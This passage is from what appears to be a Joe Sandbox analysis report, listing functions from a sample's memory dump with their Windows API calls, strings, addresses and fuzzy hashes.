Instruction ID: 05b8f3a725995783123fd253346bb56f3bcb2da8d691de8020d5dd4567e3c787
Opcode Fuzzy Hash: 991afecd1de1a85c82db960b60f4ba0c9cfadc18491977fccef412c36ab1eeff
Instruction Fuzzy Hash: 77C1B371944644AADB25DB74CC81FEEF7E8EF04304F00459BFA56A7282FB34AA44CB61

Function 00BFD8EE Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00BFDA34

Strings

1#QNAN, xrefs: 00BFEC3A
1#IND, xrefs: 00BFEC2C
1#SNAN, xrefs: 00BFEC33
1#INF, xrefs: 00BFEC41

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: ec9b038032efef3781e391d607a4c679e8d88beeaecfc90d8c9673aa3eef6a66
Instruction ID: 34bc75a8f66b0fcf88d04679ca103d6b693242c21c5467616c4329ddb722f8ca
Opcode Fuzzy Hash: ec9b038032efef3781e391d607a4c679e8d88beeaecfc90d8c9673aa3eef6a66
Instruction Fuzzy Hash: CDC22771E0862C8BDB25CE289D807BAB7F5EB84304F1541EAD65DE7250E774AE898F40

Function 00BD32F7 Relevance: 9.4, APIs: 2, Strings: 3, Instructions: 608COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BD3300
_swprintf.LIBCMT ref: 00BD36C7

Strings

h%u, xrefs: 00BD36BC
hc%u, xrefs: 00BD370A
CMT, xrefs: 00BD3A17

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: H_prolog_swprintf
String ID: CMT$h%u$hc%u
API String ID: 146138363-3282847064
Opcode ID: a2e70b326db007a1ca2b8ef3eb2f5cfdaa092064a5ae87c989d716617ae5c6dc
Instruction ID: dc7698fc4bd9c75552bdf10154d5ceb4aeef021e258b47f14807e0bd54570c2d
Opcode Fuzzy Hash: a2e70b326db007a1ca2b8ef3eb2f5cfdaa092064a5ae87c989d716617ae5c6dc
Instruction Fuzzy Hash: 8832F4715102859BDB14DF74C895AE97BE5EF15700F0804BBFD8A8B383EB749A48CB61

Function 00BD286B Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 798COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BD2874
_strlen.LIBCMT ref: 00BD2E3F

Part of subcall function 00BE02BA: __EH_prolog.LIBCMT ref: 00BE02BF

Part of subcall function 00BE1B84: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00BDBAE9,00000000,?,?,?,0001043E), ref: 00BE1BA0

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00BD2F91

Strings

CMT, xrefs: 00BD2FBC

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: H_prolog$ByteCharMultiUnothrow_t@std@@@Wide__ehfuncinfo$??2@_strlen
String ID: CMT
API String ID: 1206968400-2756464174
Opcode ID: fd9b7f9923502e6bd0737caba02fd2abb06ea58242778dbcc5e40ff1194b5dbd
Instruction ID: a228b58b1c35690b4c85eeb5ce16bcae981b69906660420840be663d9ba0c70c
Opcode Fuzzy Hash: fd9b7f9923502e6bd0737caba02fd2abb06ea58242778dbcc5e40ff1194b5dbd
Instruction Fuzzy Hash: 2062D5715002858FDB19DF38C8956EABBE1EF64300F0845BFED9A8B382E7759945CB60

Function 00BEF838 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00BEF844
IsDebuggerPresent.KERNEL32 ref: 00BEF910
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00BEF930
UnhandledExceptionFilter.KERNEL32(?), ref: 00BEF93A

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 3edb9019c029b35ece3265901d8fc77fa2ca635bde9a7984e09e578a355d2846
Instruction ID: 0fd50c22a908f57abbffbc5f64f116dd7826364a8b01eb7b851bc1d62e922df1
Opcode Fuzzy Hash: 3edb9019c029b35ece3265901d8fc77fa2ca635bde9a7984e09e578a355d2846
Instruction Fuzzy Hash: 0A311475D052599BDB20DFA5D989BCCBBF8AF08304F1040EAE40CAB250EB719B84CF44

Function 00BEE6A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualQuery.KERNEL32(80000000,00BEE5E8,0000001C,00BEE7DD,00000000,?,?,?,?,?,?,?,00BEE5E8,00000004,00C31CEC,00BEE86D), ref: 00BEE6B4
GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,00BEE5E8,00000004,00C31CEC,00BEE86D), ref: 00BEE6CF

Strings

D, xrefs: 00BEE6C3

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: InfoQuerySystemVirtual
String ID: D
API String ID: 401686933-2746444292
Opcode ID: 3f71cc7cca01fa3b938047b4123d181e23987e61557db1ef82a312c03c54cb1a
Instruction ID: 1e30af5c95656ef0d20064a64f30628a9c87648b1ca84d37b1d95d26638cee9b
Opcode Fuzzy Hash: 3f71cc7cca01fa3b938047b4123d181e23987e61557db1ef82a312c03c54cb1a
Instruction Fuzzy Hash: 0801D4326001496BDB14DE29DC09BDE7BEAEFC4324F0CC160ED29D6154D738ED058680

Function 00BF8EBD Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00BF8FB5
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00BF8FBF
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 00BF8FCC

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: a63be46202414e67bc7353150f1972b9633586aca522b8859157c3cfec2e649b
Instruction ID: 77119dc243f90aa117cb5002f2d0e96ca3f6198ed89a1d353eea15ef1f555a8e
Opcode Fuzzy Hash: a63be46202414e67bc7353150f1972b9633586aca522b8859157c3cfec2e649b
Instruction Fuzzy Hash: AE31B27590122DABCB21DF69D889B9DBBF8EF48310F5045EAE41CA7250EB709F858F44

Function 00BFD440 Relevance: 3.5, APIs: 2, Instructions: 464COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aeb1b63111f38c8b5239956e5f87fb8bcb0c35bf5c950da3c1a86b78fccd596c
Instruction ID: 09399a3e2ae3aed1b9f0ee280d7840c7ee8ff495b7cf931a68e044632cb86169
Opcode Fuzzy Hash: aeb1b63111f38c8b5239956e5f87fb8bcb0c35bf5c950da3c1a86b78fccd596c
Instruction Fuzzy Hash: 33020D71E002199BDF14DFA9C9806ADF7F2EF48314F2582A9D919EB384D731AD45CB90

Function 00BEAF0F Relevance: 3.0, APIs: 2, Instructions: 45COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00BEAF35
GetNumberFormatW.KERNEL32(00000400,00000000,?,00C0E72C,?,?), ref: 00BEAF84

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: e47d13541fea4c3575dbe6a632de963f0e98ffea9b7dcf06a4a4d867bc6a4f28
Instruction ID: c3e964849617d2881dfdaeec15bc81e41cacd90fd32b619bca9c809d3baceb9c
Opcode Fuzzy Hash: e47d13541fea4c3575dbe6a632de963f0e98ffea9b7dcf06a4a4d867bc6a4f28
Instruction Fuzzy Hash: 0A017C7A250348AAD7219F75EC45F9EB7BCEF08710F004426FA05E7190E370AA55CBA5

Function 00BD6C74 Relevance: 3.0, APIs: 2, Instructions: 16windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00BD6DDF,00000000,00000400), ref: 00BD6C74
FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,?,00000000), ref: 00BD6C95

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 559ffb0775ce4ff25f5d8898716509be40b9b54a7f13f666c251a899f9e9dad3
Instruction ID: 53549e14a34b1672279672e63d7fc57a0e1b9bab8c23645a28b0901665de8913
Opcode Fuzzy Hash: 559ffb0775ce4ff25f5d8898716509be40b9b54a7f13f666c251a899f9e9dad3
Instruction Fuzzy Hash: A8D0C931385300BFFA110B618D46F2EBB9DFF45B55F19C445B795E80E0DA789424E629

Function 00C019F4 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00C019EF,?,?,00000008,?,?,00C0168F,00000000), ref: 00C01C21

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: cff255d3c208b05844df053e4e3f8bff879aeb468e42bee7619ac5d9dc8394e4
Instruction ID: 755208492d5ce68a01e51026853205b5e594df6246979a23d32538ad174046ea
Opcode Fuzzy Hash: cff255d3c208b05844df053e4e3f8bff879aeb468e42bee7619ac5d9dc8394e4
Instruction Fuzzy Hash: 6BB12C756106099FE715CF28C48AB65BBE0FF45364F298658E8AACF2E1C335DA91CB40

Function 00BEF654 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00BEF66A

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 7199902f159a2cc94d0a9f916b09383cb7621aa554b15ecee15e178d4bc44901
Instruction ID: 8c073703e88777c72e2f7fe19ac61a8969f546eb6b3577e79bf68aa3c99b1e0e
Opcode Fuzzy Hash: 7199902f159a2cc94d0a9f916b09383cb7621aa554b15ecee15e178d4bc44901
Instruction Fuzzy Hash: B65181B1A10656CFEB15CF59E8817AEBBF4FB88314F298979D801EB250D3749D01CB50

Function 00BDB146 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 00BDB16B

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 1b6f291a5ba9d612a7a3582495dcf8b0e9e04f65948e28f1511070395c258878
Instruction ID: 011d02e0bb6cf1d795f1977fb93dc5b1d9ee8039966d3799f9fed2f0d3b71414
Opcode Fuzzy Hash: 1b6f291a5ba9d612a7a3582495dcf8b0e9e04f65948e28f1511070395c258878
Instruction Fuzzy Hash: 8CF030B4D00208CFDB18CB18EC91BDD77F5FB49319F15469ADA1593390D374AA81CE60

Function 00BD40FE Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

gj, xrefs: 00BD41BC

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: 1391e18ffd7bd9e876231ffcb72c43c8696275935ffdbfd6ae1ebd7970ada0cd
Instruction ID: cd2adecd045b06b550ba61e97100126b752bb41e2aa8d0f5e19312d8df407015
Opcode Fuzzy Hash: 1391e18ffd7bd9e876231ffcb72c43c8696275935ffdbfd6ae1ebd7970ada0cd
Instruction Fuzzy Hash: BBC12776A183818FC354CF29D88065AFBE1BFC8308F19892EE998D7311D734E955CB96

Function 00BEF9D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001F9F0,00BEF3A5), ref: 00BEF9DA

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 4b30360f282df40fb2e75f4c3a732f226f6771709796b2c668f1ee446ddf6e10
Instruction ID: 8a9a3cce2907325ad2308ec950e695bd245de7d1594f173ccf9354078b439072
Opcode Fuzzy Hash: 4b30360f282df40fb2e75f4c3a732f226f6771709796b2c668f1ee446ddf6e10
Instruction Fuzzy Hash:

Function 00BFC030 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00BFC030

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: cacd782e735f307ca7e881de80563c451c85cd418a29fe2699451e17004be8ab
Instruction ID: dd98067d03e81c6fb8b5bb7717cabd24b3f4fb53ab24bfbc4fb6437bbf766b93
Opcode Fuzzy Hash: cacd782e735f307ca7e881de80563c451c85cd418a29fe2699451e17004be8ab
Instruction Fuzzy Hash: C3A001706122419BDB448F35AF4A74D3AA9AA5A69170A406AA509C5160EA2485A0AA01

Function 00BE62CA Relevance: .8, Instructions: 829COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f8113f2fe17e1fe5adf28291dd6dc1f64d00099287cbfcd1ac5a0770544dab2
Instruction ID: 50cade5256b2fb9d1fbe59b0beb6f571e029cad69e2a489337e0ebaa6fc10eee
Opcode Fuzzy Hash: 5f8113f2fe17e1fe5adf28291dd6dc1f64d00099287cbfcd1ac5a0770544dab2
Instruction Fuzzy Hash: 4D62E7716047C48FCB25CF29C4906B9BBE1EFA5344F1889AED8EA8B346D734E945CB11

Function 00BE77EF Relevance: .8, Instructions: 817COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb9617cfb9dcd5ed73515ceaa1cdae9c81077d575e7d9551ef57e855e6e5c47f
Instruction ID: f26c57e272b1098f6bb29eb88f3a6ca4728e50638290685402d4782e413ee471
Opcode Fuzzy Hash: bb9617cfb9dcd5ed73515ceaa1cdae9c81077d575e7d9551ef57e855e6e5c47f
Instruction Fuzzy Hash: A962F8716487C58FCB15CF29C8805B9BBE1FF99304F1889ADE89A8B346DB30E945CB15

Function 00BDF461 Relevance: .7, Instructions: 694COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07bf4a65aa449dff48fd2b0c9f6b18a690921bffffe8b35fa307a18f9ecacfdb
Instruction ID: 61c727e05f45295b6782a627341c3e92d12c0ec8b2207bede7196410e84fae97
Opcode Fuzzy Hash: 07bf4a65aa449dff48fd2b0c9f6b18a690921bffffe8b35fa307a18f9ecacfdb
